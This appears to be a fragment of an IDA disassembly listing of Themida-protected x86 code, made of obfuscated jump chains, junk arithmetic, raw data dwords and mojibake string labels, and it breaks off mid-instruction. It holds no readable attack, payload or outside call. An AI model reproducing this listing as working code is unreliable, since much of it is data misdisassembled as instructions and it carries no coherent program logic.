8BE9FA87h, 8100002Ah, 4ECh, 24348900h dd 8E56E9h, 81EA0100h, 9414F1C2h, 0AB9EE95Eh, 0A680000h dd 89000018h, 0E0892404h, 12A568h, 24348900h, 4B3B35BEh dd 0C1DEF749h, 0EC8103E6h, 4, 0A12E9h, 0DEBF5700h, 81747449h dd 977D6DC7h, 0BEF8150h, 8154AE6Ch, 0BD167BE7h, 0E9DFF73Dh dd 4324h, 6107EB81h, 97E97DD2h, 81000044h, 19D4DCF7h, 1E7E9B1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5518D6: ; CODE XREF: Themida_:005574D4j pop edx inc ebx xor ebx, 0B91778A5h or ebp, ebx mov ebx, [esp] add esp, 4 or ebp, 94068FDh add ebp, 3FDFAFDh add ecx, 3D4D4B6Eh sub ecx, ebp sub ecx, 3D4D4B6Eh pop ebp and eax, ecx jmp loc_558D2F ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0FC90B00h, 0A4D884h, 0E6895600h, 2FE4E9h, 3E95900h dd 5B000005h, 5717E9h, 0D1F74100h, 1A31BD55h, 0E929D1C9h dd 66EF815Dh, 0E94EEE17h, 0A559h, 2C681h, 0FF560000h, 0E9042474h dd 1134h ; --------------------------------------------------------------------------- loc_551954: ; CODE XREF: Themida_:00552A5Dj or eax, 9DF17ECh xor eax, 1994CFC5h add ecx, eax pop eax mov ebp, ecx mov ecx, [esp] add esp, 4 sub edx, ebp jmp loc_552963 ; --------------------------------------------------------------------------- loc_551973: ; CODE XREF: Themida_:00552993j mov [esp], esi jmp loc_55227F ; --------------------------------------------------------------------------- loc_55197B: ; CODE XREF: Themida_:00555942j push edi mov edi, 4 sub esi, edi pop edi xchg esi, [esp] jmp loc_55441F ; --------------------------------------------------------------------------- aAsASei db '─И$─а╬(ыИ╔╗',0 dd 40F58000h, 0C8BE830h, 8DFEE924h, 0E6890000h, 516BD55h dd 0F5813D34h, 674F77AAh, 0F706E5C1h, 88F581D5h, 0C16BA12Ch dd 0DDF706EDh, 17E0E9h, 2434FF00h, 0B03DE95Ah, 0C4810000h dd 4, 5C24048Fh, 9CC88566h, 0FFF061E9h, 4BD55FFh, 1000000h dd 0C7815DEFh, 4, 2474FF57h, 48F5F04h, 0A88EE924h, 0C4810000h dd 4, 0B435D0F7h, 50F1063Bh, 83243C8Bh, 48B04C4h, 4C48324h dd 3C8BF801h, 0A0D4E924h, 48B0000h, 4C48324h, 0B2EDE9h dd 8BD30100h, 0E9572414h, 0C68h, 37E1E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551A42: ; CODE XREF: Themida_:005573B8j mov dh, bl jmp loc_558391 ; --------------------------------------------------------------------------- db 0ACh, 4, 0E5h dd 8956D800h, 0FCC2E9E6h, 79B8FFFFh, 256E6050h, 6EA8416Dh dd 0F706E8C1h, 2C6F05D0h, 32355593h, 523D90Fh, 0B65DB939h dd 0E958C329h, 0ABAAh, 4C281h, 0C2830000h, 24148704h, 27A0E9h db 0 ; --------------------------------------------------------------------------- loc_551A8D: ; CODE XREF: Themida_:00557031j mov ebp, [esp] add esp, 4 push esi mov esi, 4 add ebp, esi pop esi add ebp, 4 xchg ebp, [esp] pop esp shr eax, 12h xor eax, ecx push 6042h mov [esp], eax xchg eax, [esp] push eax not dword ptr [esp] pop eax jmp loc_552812 ; --------------------------------------------------------------------------- aWys? db 'WYИ*?',0 align 4 dd 0C6815E54h, 4, 4BF57h, 0FE290000h, 2434875Fh, 2414895Ch dd 2FD1E9h, 0C6814E00h, 0FFED77CDh, 515EF301h, 0C181E189h dd 4, 3304E983h, 0C31240Ch, 240C3324h, 2434895Ch, 9A7780BEh dd 0A03CE919h, 0C4810000h, 4, 575A685Eh, 1C890000h, 4BB24h dd 0EE810000h, 26FB4E67h, 5BE9DE01h, 33000026h, 14312414h dd 24143324h, 0C83B665Ch, 0EF04E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551B42: ; CODE XREF: Themida_:005593CCj sub esp, 4 mov [esp], edi mov edi, 60104543h sub esi, edi pop edi dec esi or esi, 0EBE672Eh dec esi xor esi, 0E442C8Ch sub edi, esi jmp loc_554DAC ; --------------------------------------------------------------------------- dd 4B9h, 246C8100h, 1E61DF04h, 244C012Fh, 0DFBB5304h, 12F1E61h dd 5B08245Ch, 0C1815959h, 4, 4EC81h, 9AE90000h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551B97: ; CODE XREF: Themida_:005585ACj sub ebx, 4 jmp loc_5591E0 ; --------------------------------------------------------------------------- db 0F7h dd 34FF2414h, 0C4815924h, 4, 4108E9C1h, 483CF181h, 83E97BE7h dd 81000001h, 4C6h, 4EE8300h, 2474FF56h, 9CE95E04h, 81000093h dd 6D36DCE6h, 0B8C6812Eh, 815FE876h, 3C3711EEh, 1DC68145h dd 81B70B9Ch, 0A719CAC3h, 81F30162h, 0A719CAEBh, 24348B62h dd 5004C483h, 4B8h, 58C30100h, 8B241C87h, 37E92424h, 5DFFFFEEh dd 2FE4E781h, 0F75739FBh, 3C8B2414h, 4C48124h, 51000000h dd 7D0CE9h, 0EE18E900h, 0E951FFFFh, 1ECh, 0E959CD89h, 94CCh dd 8CE9EE00h, 51000067h, 42474FFh, 24048F59h, 7C16E9h dd 4C28100h, 56000000h, 0C681E689h, 4, 4EE81h, 34870000h dd 2C895C24h, 6EAC6824h, 34890000h, 1B7CBE24h, 0B9512C80h dd 0 dd 6F14E9h, 66C32800h, 2834B252h, 0F64FE9D3h, 0B850FFFFh dd 30EA0916h, 5058C531h, 0C97B8FB8h, 0C935406Ch, 97A8229h dd 0C58158C5h, 6DAB525Fh, 0E95DE829h, 0CB3h ; --------------------------------------------------------------------------- loc_551CB8: ; CODE XREF: Themida_:005587E2j sub edi, 1A75EBFh sub edi, esi add edi, 1A75EBFh jmp loc_55406F ; --------------------------------------------------------------------------- loc_551CCB: ; CODE XREF: Themida_:00558204j xor edx, esi pop esi add ebx, edx pop edx pop ecx jmp loc_5536B2 ; --------------------------------------------------------------------------- db 5 dd 3A8D70B0h, 0AE9E801h db 86h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551CE3: ; CODE XREF: Themida_:00558620j push 0FECh mov [esp], edx push 80000h mov edx, [esp] add esp, 4 jmp loc_55B004 ; --------------------------------------------------------------------------- dw 43E9h dd 5AFFFFEDh, 498BE9h db 0 ; --------------------------------------------------------------------------- loc_551D09: ; CODE XREF: Themida_:005571FAj push dword ptr [esp] mov ecx, [esp] jmp loc_558C2B ; --------------------------------------------------------------------------- dd 1035F381h, 0F26837A1h, 89000015h, 85BA2414h, 29021B09h dd 0DE015AD6h, 6B9FBF57h, 814F7A9Bh, 0A04D55EFh, 152BE964h dd 0EC830000h, 24348904h, 0E46AB0BEh, 0DEE95700h, 5E000030h dd 2E95056h, 5000054h, 4, 4B951h, 0FBE90000h db 71h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551D67: ; CODE XREF: Themida_:005545C9j mov bh, ch mov ecx, [esp] add esp, 4 jmp loc_5573AC ; --------------------------------------------------------------------------- db 83h dd 3C8904ECh, 53E78924h, 4BBh, 5BDF0100h, 62026852h, 4890000h dd 4C4B824h, 312D27F9h, 89CF70F7h, 34E958C2h, 51000016h dd 0EF082DB5h, 9C3DE9h db 0 ; --------------------------------------------------------------------------- loc_551DAD: ; CODE XREF: Themida_:00553D0Cj xor esi, 717B70Eh mov ebp, esi jmp loc_5524BB ; --------------------------------------------------------------------------- dw 34FFh dd 0C4815824h, 4, 3104C483h, 2434FFF8h, 4C4815Fh, 0E9000000h dd 4CF0h, 79FEE281h, 0EA813740h, 313261A4h, 895AD331h dd 0D0015BD8h, 87D7E9h, 81E28900h, 4C2h, 4C28100h, 87000000h dd 0CEE92414h, 5A000065h, 0D3BEEF81h, 0F9299E4Bh, 59C8295Fh dd 6997BD55h, 0E9560322h, 3BFCh, 163C5FB9h, 72FCE920h dd 0F1310000h, 176AE95Eh, 34FF0000h, 0C4815F24h, 4, 471CE9h dd 40500h, 42D0000h, 87000000h, 248B2404h, 3975E924h, 0E9AC0000h dd 430Ah ; --------------------------------------------------------------------------- loc_551E5C: ; CODE XREF: Themida_:00553F23j push eax jmp loc_55C0E2 ; --------------------------------------------------------------------------- dw 8B66h dd 8951241Ch, 4C181E1h, 0E9000000h, 8113h, 43D3BD55h, 0EB296FC7h dd 0FFF88AE9h, 0C4815BFFh, 4, 8B243C87h, 0F7662424h, 516866E1h dd 14896613h, 9C506624h, 0FFEBA5E9h, 83E189FFh, 0D5E904ECh dd 6800004Ch, 787h, 0BA241489h, 4, 62E9D701h, 45000095h dd 0A9ECE9h, 29346800h, 2C890000h, 1C1E6824h, 3BE90000h dd 5000004Ch, 0ADB3E9h, 5BD80100h, 4A7E9h db 0 ; --------------------------------------------------------------------------- loc_551EE5: ; CODE XREF: Themida_:00555CC0j add esp, 4 or ebp, 3CED48C9h push edi mov edi, 47933B6Bh jmp loc_557B68 ; --------------------------------------------------------------------------- dd 69DEF581h, 0EF310B24h, 4EC835Dh, 0B9240C89h, 15080EBEh dd 0FAE9D9F7h, 0FF000047h, 535A2434h, 0C381E389h, 4, 4BB5351h dd 89000000h, 0CB295BD9h, 241C8759h, 240C895Ch, 2AE95954h db 7Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_551F3F: ; CODE XREF: Themida_:005553DBj sub bl, cl add bl, 4Bh push dword ptr [esp] jmp loc_550B83 ; --------------------------------------------------------------------------- dd 8105E6C1h, 20DC44F6h, 5EF389F9h, 1DEEE9h, 58C7BF00h dd 0F78106A2h, 56F83CC0h, 9ECEE947h, 248B0000h, 7813E924h dd 0C8B0000h, 4C48124h, 28000000h, 0E9EA2CD8h, 5C57h, 0BF575359h dd 3AD97456h, 4B97E9h db 0 ; --------------------------------------------------------------------------- loc_551F95: ; CODE XREF: Themida_:00555C6Fj push ecx mov ch, 85h add ch, 6 and ch, 13h neg ch dec ch shr ch, 6 add ch, 9Eh sub esp, 4 mov [esp], eax jmp loc_55853C ; --------------------------------------------------------------------------- loc_551FB6: ; CODE XREF: Themida_:00559CE4j add ebp, eax pop eax xor [esp+4], ebp pop ebp jmp loc_557863 ; --------------------------------------------------------------------------- loc_551FC3: ; CODE XREF: Themida_:0055B736j mov [esp], edx mov edx, 3E9E41AAh sub esp, 4 mov [esp], edx mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5566FB ; --------------------------------------------------------------------------- loc_551FE8: ; CODE XREF: Themida_:0055B26Ej pop esp mov [esp], ebx push dword ptr [esp] pop eax push ecx push esp pop ecx jmp loc_5524D4 ; --------------------------------------------------------------------------- dd 4B850h, 0C6290000h, 74FF5658h, 348B0424h, 4C48324h dd 2AB8E9h, 24048900h, 268h, 0C5895800h, 3090E9h db 0 ; --------------------------------------------------------------------------- loc_552021: ; CODE XREF: Themida_:0055B2F6j xchg ebx, [esp] pop esp jmp loc_55630E ; --------------------------------------------------------------------------- loc_55202A: ; CODE XREF: Themida_:0055130Bj dec dl xor dl, 0F5h sub dl, 0F8h sub bh, dl jmp loc_554D0C ; --------------------------------------------------------------------------- db 89h, 0E7h, 81h dd 4ECh, 24048900h, 0FD6E3DB8h, 3ABE561Eh, 2944AF66h, 0D8F75EF0h dd 9CDCE9h, 0E9E8E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55205E: ; CODE XREF: Themida_:005584FBj mov [esp], ebx jmp loc_550D15 ; --------------------------------------------------------------------------- loc_552066: ; CODE XREF: Themida_:005572D4j sub edx, eax push ecx mov ecx, 1BE04B6Ah sub edx, ecx push dword ptr [esp] pop ecx push 466Fh mov [esp], ebp push esp pop ebp add ebp, 4 jmp loc_55A467 ; --------------------------------------------------------------------------- db 1, 0C5h, 81h aAF2BSk0 db 'М\F2#│еsK0',0 db 58h dd 4EC81h, 0B7E90000h, 890000A8h, 4EC81E3h, 89000000h dd 0ACBD242Ch, 0F73B4C02h, 974EE9DDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5520BA: ; CODE XREF: Themida_:005572DBj movzx eax, al mov dx, [esp] push eax jmp loc_555410 ; --------------------------------------------------------------------------- db 83h dd 0BE5604C4h, 4, 815EF201h, 4C2h, 573EE900h, 0DCF60000h dd 0D09CF480h, 0B1E480E4h, 808BCC80h, 0E18830ECh, 8124048Bh dd 4C4h, 0EB2DE900h, 34FFFFFFh, 24048B24h, 5304C483h, 0C381E389h dd 4, 0FFF6A6E9h, 90F581FFh, 810F3149h, 5E440FE5h, 0CAE94D40h db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552127: ; CODE XREF: Themida_:00552A05j mov edi, 6BC4799Bh xor edi, 659C5155h or edi, 19D726B2h not edi dec edi neg edi push esi mov esi, 0BDF1EA80h sub edi, esi jmp loc_554AF7 ; --------------------------------------------------------------------------- dw 0C381h dd 330531D2h, 0EB81EB01h, 330531D2h, 0C1B8505Dh, 83261F66h dd 0D8F701E8h, 1C75DA25h, 0C105407Fh, 81A6FFEEh, 0D2128DEBh dd 81C30159h, 0D2128DC3h, 1C335859h, 241C3124h, 7387E9h db 0 ; --------------------------------------------------------------------------- loc_552189: ; CODE XREF: Themida_:0055C8A4j pop esp xor al, bl jmp loc_55BCBD ; --------------------------------------------------------------------------- loc_552191: ; CODE XREF: Themida_:0055BAF5j pop eax add esp, 4 push dword ptr [esp] mov esi, [esp] add esp, 4 push esi mov esi, esp add esi, 4 jmp loc_55A6CD ; --------------------------------------------------------------------------- dd 2891B753h, 0EF085BFDh, 0E9C7FE59h, 246Fh ; --------------------------------------------------------------------------- loc_5521BC: ; CODE XREF: Themida_:00552E50j add ecx, 4 push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 jmp loc_552F7D ; --------------------------------------------------------------------------- loc_5521D2: ; CODE XREF: Themida_:0055C719j mov ch, 24h add bl, ch jmp loc_5584A3 ; --------------------------------------------------------------------------- db 5Ah dd 5368D800h, 0E900000Eh, 3992h, 1C8BD901h, 4C48124h, 33000000h dd 0C31240Ch, 240C3324h, 5D97E9h db 0 ; --------------------------------------------------------------------------- loc_552201: ; CODE XREF: Themida_:005534DFj push 1888h mov [esp], edi mov edi, 1BE04B6Ah add edx, edi push dword ptr [esp] pop edi jmp loc_5572CE ; --------------------------------------------------------------------------- db 68h, 81h, 5Dh dd 4890000h, 9535E924h, 0C3830000h, 241C8704h, 5A5F525Ch dd 8904EC83h, 0BA52240Ch, 2E1330A6h, 2061B850h, 0E9485D45h dd 3F8Ah ; --------------------------------------------------------------------------- loc_552248: ; CODE XREF: Themida_:00553ACFj inc ebp jmp loc_551322 ; --------------------------------------------------------------------------- dw 0EE81h dd 13165436h, 0C681FE01h, 13165436h, 74FF565Fh, 28E90424h dd 1Eh, 0B0E95AD1h, 0BD000019h, 58387D89h, 585DEA29h, 0BAE9D029h db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55227F: ; CODE XREF: Themida_:00551976j sub esp, 4 mov [esp], ebx pop esi push edi mov edi, esi push edi add dword ptr [esp], 1A273945h jmp loc_5550D7 ; --------------------------------------------------------------------------- dw 8B66h dd 48E9240Ch db 82h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55229F: ; CODE XREF: Themida_:00553A1Cj xchg ebp, [esp] jmp loc_5580F7 ; --------------------------------------------------------------------------- db 66h dd 34FFEB29h, 9FE95D24h, 8900003Bh, 1EBA2414h, 8361A305h dd 0F28101EAh, 1AA629CFh, 835AD601h, 0B5E901C6h, 100009Ch dd 1CD605D8h, 74055FE0h, 686C1A3Eh, 3A06h, 7007E9h db 0 ; --------------------------------------------------------------------------- loc_5522E5: ; CODE XREF: Themida_:00553EB7j mov ecx, [esp] jmp loc_5530EF ; --------------------------------------------------------------------------- db 81h, 0F7h, 5Ch a9sGhK db '9А GhоK',0 dd 24148900h, 8A9998BAh, 541BE9B8h, 815F0000h, 0CE4BAFF2h dd 628BE97Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_552312: ; CODE XREF: Themida_:0055703Fj xchg ebp, [esp] mov esp, [esp] not al jmp loc_557C60 ; --------------------------------------------------------------------------- loc_55231F: ; CODE XREF: Themida_:0055A76Cj pop esp pop ebp mov ebx, ecx mov ecx, [esp] add esp, 4 and ecx, ebx jmp loc_552826 ; --------------------------------------------------------------------------- loc_552330: ; CODE XREF: Themida_:005575C7j and ecx, esi push dword ptr [esp] push dword ptr [esp] pop esi push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_554D14 ; --------------------------------------------------------------------------- db 5Ch, 0FFh, 34h dd 54505824h, 93BA5258h, 0E9228F0Eh, 84CEh, 0CADB850h dd 0BF5725A1h, 0DC5CB6Eh, 6E47E9h db 0 ; --------------------------------------------------------------------------- loc_552375: ; CODE XREF: Themida_:0055CAA3j add esp, 4 sub eax, 49E61564h push ebx push ebp jmp loc_55AE68 ; --------------------------------------------------------------------------- dd 0E95BDF29h, 6FF8h, 0A2DF001h, 5E077364h, 476668h, 24148900h dd 960CE9h db 0 ; --------------------------------------------------------------------------- loc_5523A1: ; CODE XREF: Themida_:0055753Ej add ecx, 4 jmp loc_5596F4 ; --------------------------------------------------------------------------- dd 69099868h, 24048B0Ch, 504C483h, 71B93C8Dh, 10E05A05h dd 58C789E3h, 136CE9h, 0FEE1B600h, 0A9D8E9C6h, 8F0000h dd 5DB0081h, 2C8B239Ch, 4C48324h, 0FFE661E9h, 5DEB01FFh dd 835BDF01h, 3C8704C7h, 0F0E95C24h db 84h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5523F7: ; CODE XREF: Themida_:00552D96j add edx, 0A040C0C3h mov ebx, edx jmp loc_5555E3 ; --------------------------------------------------------------------------- dd 8106EBC1h, 4ECh, 8097E900h, 0EDC10000h, 81B85008h, 571FF936h dd 4FE0E9h, 93E95E00h, 5F000026h, 0BBE9DE89h, 2900000Fh dd 0EE8159CEh, 6F376C6Dh, 0E904EC83h, 3B11h ; --------------------------------------------------------------------------- loc_552440: ; CODE XREF: Themida_:0055151Ej add ebp, eax jmp loc_5580D7 ; --------------------------------------------------------------------------- loc_552447: ; CODE XREF: Themida_:00554BBEj push esi mov esi, esp add esi, 4 jmp loc_55A766 ; --------------------------------------------------------------------------- db 89h, 0FAh, 5Fh dd 4245401h, 24148B5Ah, 8104C483h, 4C2h, 77436800h, 0E2E90000h dd 89000099h, 0C9E9241Ch, 0B3000051h, 54C38016h, 6866h dd 8A241C28h, 8956241Ch, 4C681E6h, 0E9000000h, 53DEh ; --------------------------------------------------------------------------- loc_552498: ; CODE XREF: Themida_:0055B8E0j sub edi, 7B6D6359h add edi, 90405A80h add ecx, 289A268Ah add ecx, edi sub ecx, 289A268Ah pop edi shr ecx, 6 jmp loc_5511F6 ; --------------------------------------------------------------------------- loc_5524BB: ; CODE XREF: Themida_:00551DB5j pop esi jmp loc_5576BF ; --------------------------------------------------------------------------- db 0BEh, 0C5h, 6Ch dd 0E6C145BDh, 1A685104h, 0E963196Eh, 3209h ; --------------------------------------------------------------------------- loc_5524D4: ; CODE XREF: Themida_:00551FF3j add ecx, 4 push eax jmp loc_552B33 ; --------------------------------------------------------------------------- dd 8B24048Fh, 0C3312424h, 57E9C231h, 0FFFFFFE5h, 4FE94077h dd 68FFFFE5h, 3ACFh, 301BE9h, 5BDF2100h, 8103E7C1h, 0D0BE3BEFh dd 8BFA2926h, 5453243Ch, 4C3815Bh, 0E9000000h, 0FFFFFD06h ; --------------------------------------------------------------------------- loc_552520: ; CODE XREF: Themida_:0055C023j shl eax, cl push ebx push edi push edx push 30C7035Ch pop edx jmp loc_55C864 ; --------------------------------------------------------------------------- aPsev db 'PИ┘┌',0 align 2 dw 0C281h dd 3BDA4DD9h, 83242C8Bh, 0BD5504C4h, 4, 1665EA81h, 0EA2921F2h dd 1665C281h, 685D21F2h, 459Ch, 0E9241489h, 4D11h ; --------------------------------------------------------------------------- loc_552564: ; CODE XREF: Themida_:0055A470j xor [esp], ebp xor ebp, [esp] pop esp jmp loc_550A46 ; --------------------------------------------------------------------------- dd 0F66C331h, 686600B6h, 89663668h, 0C3E92404h db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552583: ; CODE XREF: Themida_:00555092j mov ecx, 8801921h push 137Fh mov [esp], ebp mov ebp, 581251D2h xor ecx, ebp push dword ptr [esp] jmp loc_554EC7 ; --------------------------------------------------------------------------- db 1 dd 721CE9D7h, 14890000h, 0F843E924h, 6857FFFFh, 73854187h dd 83243C8Bh, 0D7F704C4h, 6A81C781h, 0FA897434h, 8712E95Fh dd 0F7290000h, 0DEC7815Eh, 8139AF0Ah, 5AE854C7h, 0FC70E98Dh dd 0E828FFFFh, 0A00459h, 53A02CD8h, 0A2E9E9h, 4EC8300h dd 139CE9h, 0C8B6600h, 2D876824h, 14890000h, 68E28924h dd 6651h, 52243C89h, 4BAh, 5AD78900h, 835FFA01h, 0C8904ECh dd 0A6C7E924h, 4680000h, 8900007Dh, 7D682404h, 0E9000025h dd 8398h, 1B20E955h, 0D1F70000h, 1631E981h, 5CE939EEh dd 6800001Fh, 3026h, 89241C89h, 8BDD89C3h, 0AAE9241Ch dd 55000047h, 0B9314668h, 4EE95D33h db 4Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_552667: ; CODE XREF: Themida_:0055598Dj pop ebp sub eax, ecx push esi mov esi, 48311202h shl esi, 7 inc esi jmp loc_5572E0 ; --------------------------------------------------------------------------- db 66h, 81h, 0EBh dd 8B666710h, 0C4812434h, 2, 0ACC38166h, 0C0B70F4Eh, 7DA86866h dd 24048966h, 0FFE3A9E9h, 0E95A54FFh, 0FFFFF5ADh, 457CE954h dd 9BB0000h, 14BD134h, 0C7815BDFh, 35545AAAh, 0C0B60F5Eh dd 688734FFh, 0EC3h, 0E9240C89h, 2CC3h, 240CD366h, 0E370E99Ch dd 0BD55FFFFh, 2DB4288Dh, 0FFF7DEE9h, 0FC181FFh, 31655E30h dd 0CF8159CFh, 34202393h, 35CE68h, 24148900h, 886756BAh dd 0E9D7316Ch, 0FFFFF703h, 0FFE33DE9h, 4EC83FFh, 0B8240489h dd 4, 0EBE9C201h, 0FF000022h, 0C8B2434h, 4C48124h, 0E9000000h dd 3B2Ch, 0B53007BEh, 14F7562Fh, 0E6815E24h, 72C00BC6h dd 0F442C681h, 0F501AFBFh, 5624348Bh, 3FDFE9h, 6866AC00h dd 8966265Eh, 0EC83241Ch, 55B8E904h, 0D6F70000h, 382DEE81h dd 814E475Ch, 0ED89A4EEh, 5EF22985h, 7046E9h, 66526600h dd 663E26BAh, 4246C81h, 0BAE934D2h, 8300007Bh, 0FEE904C4h dd 0FF00001Bh, 5D042474h, 0E9h, 24048F00h, 6624248Bh, 5450F9F7h dd 8124048Bh, 4C4h, 73BD5500h, 81618F0Eh, 8F0E77F5h, 4670E961h dd 0C6010000h, 0DC7EE81h, 74E9386Ah, 8100001Ah, 4C4h, 8BF32900h dd 0C4812434h, 4, 0E9008F66h, 0FFFFE262h, 81E78957h, 4C7h dd 2EF8100h, 87000000h, 8EE9243Ch db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5527FB: ; CODE XREF: Themida_:00559422j pop eax add edx, 0CF256E73h sub eax, 36003F46h jmp loc_557A79 ; --------------------------------------------------------------------------- dd 24F3E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552812: ; CODE XREF: Themida_:00551AB8j xchg eax, [esp] push dword ptr [esp] pop eax sub esp, 4 mov [esp], edx mov edx, esp jmp loc_558A14 ; --------------------------------------------------------------------------- loc_552826: ; CODE XREF: Themida_:0055232Bj pop ebx shr ecx, 0 jmp loc_5570E3 ; --------------------------------------------------------------------------- db 66h dd 68240C8Bh, 5341h, 51240C89h, 0BF57E189h, 667E2632h dd 4918E781h, 0F7811BCCh, 26134566h, 0F706EFC1h, 8E7C1DFh dd 1504C781h, 0F901917Dh, 4E9815Fh, 87000000h, 895C240Ch dd 3EE92424h db 90h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552873: ; CODE XREF: Themida_:00558EB6j push ecx push esp jmp loc_554472 ; --------------------------------------------------------------------------- dw 74FFh dd 0E95F0424h, 0FFFFFC5Ch, 0FFC0B60Fh, 34FF8734h, 2434FF24h dd 8B2434FFh, 0C4832404h, 44E56804h, 0DAE90000h, 8900005Fh dd 0E95557E6h, 359Ah, 7693E955h, 0C4830000h, 0E0EE8104h dd 0E9338D03h, 9081h ; --------------------------------------------------------------------------- loc_5528C0: ; CODE XREF: Themida_:0055AD60j sub esp, 4 mov [esp], ebp mov ebp, 25926E05h inc ebp and ebp, 75796C09h sub ebp, 39D90D6Fh neg ebp xor ebp, 63D5872Ah add ebp, 423928D1h add ebp, 46A9B0EEh add ecx, ebp pop ebp add ecx, 2 xchg ecx, [esp] mov esp, [esp] rol word ptr [esp], cl pushf jmp loc_550A46 ; --------------------------------------------------------------------------- db 0C1h, 0E2h, 6 dd 0C7DFF281h, 0D63160B5h, 8124148Bh, 4C4h, 5CCE8100h dd 576B0905h, 29CF5E68h, 86E95FEFh, 5300001Ch, 0C381E389h dd 4, 8704EB83h, 895C241Ch, 0E952240Ch, 5FBFh ; --------------------------------------------------------------------------- loc_552944: ; CODE XREF: Themida_:00552B9Fj pop edx jmp loc_552E24 ; --------------------------------------------------------------------------- dw 1EB7h dd 39E9F920h, 66000058h, 0EBE99C50h, 64FFFFE0h, 0E3E9028Fh db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552963: ; CODE XREF: Themida_:0055196Ej pop ebp neg edx jmp loc_550F19 ; --------------------------------------------------------------------------- db 5 dd 0DD80FCCh, 0CC2DD829h, 0E90DD80Fh, 527Ch ; --------------------------------------------------------------------------- loc_55297C: ; CODE XREF: Themida_:0055901Ej add esp, 4 loc_55297F: ; CODE XREF: Themida_:00554DBFj ; Themida_:00559243j push edx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_551973 ; --------------------------------------------------------------------------- loc_552998: ; CODE XREF: Themida_:005511F1j push ecx mov ecx, 36662BF2h add ecx, 6131278Ah jmp loc_550D50 ; --------------------------------------------------------------------------- loc_5529A9: ; CODE XREF: Themida_:0055644Cj sub ebx, 617F52E6h jmp loc_55C638 ; --------------------------------------------------------------------------- aFpA db 'fP╢-─г$',0 dd 24EF80E7h, 24048B66h, 2C481h, 0DCE90000h, 5100007Ch dd 1822E9h, 6EFC000h, 0F780D7F6h, 0EEF808Dh, 0C1EF80h dd 241C8BFAh, 8004C483h, 0B7531CCAh, 0E9D7F690h, 1B84h ; --------------------------------------------------------------------------- loc_5529F8: ; CODE XREF: Themida_:00550CFDj push dword ptr [esp] pop eax push esi mov esi, esp jmp loc_556C5C ; --------------------------------------------------------------------------- loc_552A04: ; CODE XREF: Themida_:005546C6j push edi jmp loc_552127 ; --------------------------------------------------------------------------- dw 2D5Ah dd 47E35605h, 505F001h, 2D47E356h, 2F235685h, 0F7F7E95Eh dd 52ADFFFFh, 7164E9h, 0CCE95600h, 8900004Eh, 405E0h, 19680000h dd 89000050h, 4BE2434h, 52000000h, 3E9E9h db 0 ; --------------------------------------------------------------------------- loc_552A49: ; CODE XREF: Themida_:0055C1C3j not esi xchg esi, ecx push eax mov eax, 635461A9h not eax not eax or eax, 78825C65h dec eax jmp loc_551954 ; --------------------------------------------------------------------------- dw 0B850h dd 4, 48BC701h, 266E924h, 8B660000h, 0EC81240Ch, 4, 54242C89h dd 0E9242C8Bh, 5EFh, 24048F5Eh, 240CD25Ch, 0DFB0E99Ch dd 4BAFFFFh, 81000000h, 984A5DEDh, 81D50133h, 984A5DC5h dd 24148B33h, 4C481h, 0B8500000h, 2, 6925C581h, 65E90ABCh dd 32h, 88ED80FDh, 241C8B66h, 704FE9h db 0 ; --------------------------------------------------------------------------- loc_552AD1: ; CODE XREF: Themida_:00554EC2j mov eax, ebp pop ebp mov edx, [esp] add esp, 4 push 6559h jmp loc_557956 ; --------------------------------------------------------------------------- dd 0F5814D45h, 10065AAFh, 5809E9h, 24248B00h, 8324048Bh dd 0D0F704C4h, 85C78197h, 0E9C4F487h, 1049h, 8759CD01h dd 0B2E9242Ch, 81000000h, 26726BEBh, 7A8E9D0h, 0C1660000h dd 466606E6h, 6D5AE9h, 73106800h, 0DEE90000h db 70h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552B33: ; CODE XREF: Themida_:005524DBj mov eax, 4 add ecx, eax pop eax push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] jmp loc_556B24 ; --------------------------------------------------------------------------- dd 0F6CCED81h, 0EE8900EBh, 44D2D5Dh, 0F029701Dh, 44DBE56h dd 0A05701Dh, 0E95A3B43h, 127Fh ; --------------------------------------------------------------------------- loc_552B6C: ; CODE XREF: Themida_:00550D2Ej and ah, 0FAh jmp loc_5541CE ; --------------------------------------------------------------------------- dd 2EC81h, 45E90000h, 29FFFFE7h, 4EC83E8h, 53241489h, 715068BBh dd 5BDA892Bh, 2FE9D029h db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552B97: ; CODE XREF: Themida_:00559B78j xor edx, 5B06441Bh xor ebp, edx jmp loc_552944 ; --------------------------------------------------------------------------- loc_552BA4: ; CODE XREF: Themida_:00555308j neg ebp add ebp, 57A136C1h jmp loc_55B464 ; --------------------------------------------------------------------------- db 2Dh, 0D6h, 1Ch dd 14E95FE0h, 31FFFFF7h, 0F8015EF7h, 1B69E9h, 0B4505C00h dd 3E4C0ACh, 0E819E951h, 0D629FFFFh, 2434875Ah, 2414895Ch dd 36B0E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552BE2: ; CODE XREF: Themida_:0055ACD7j mov [esp], edx jmp 